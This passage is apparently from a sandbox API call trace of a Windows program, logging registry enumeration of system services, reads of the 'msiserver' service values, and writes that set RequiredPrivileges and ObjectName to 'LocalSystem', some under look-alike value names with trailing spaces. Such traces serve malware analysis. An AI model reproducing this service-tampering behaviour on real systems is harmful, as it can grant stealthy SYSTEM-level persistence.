RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0260.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0260.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0260.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0260.763] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0260.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0260.763] RegCloseKey (hKey=0xc4) returned 0x0 [0260.763] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.763] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.763] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.763] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0260.763] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.764] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.764] RegCloseKey (hKey=0x14c) returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0260.765] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0260.765] RegCloseKey (hKey=0xc4) returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.765] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.766] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.766] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.766] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.766] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.766] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.766] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.766] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.767] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.767] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0260.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0260.768] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0260.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.768] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.769] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.769] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.769] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.769] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.769] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.769] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0260.769] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0260.769] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.769] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.769] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, 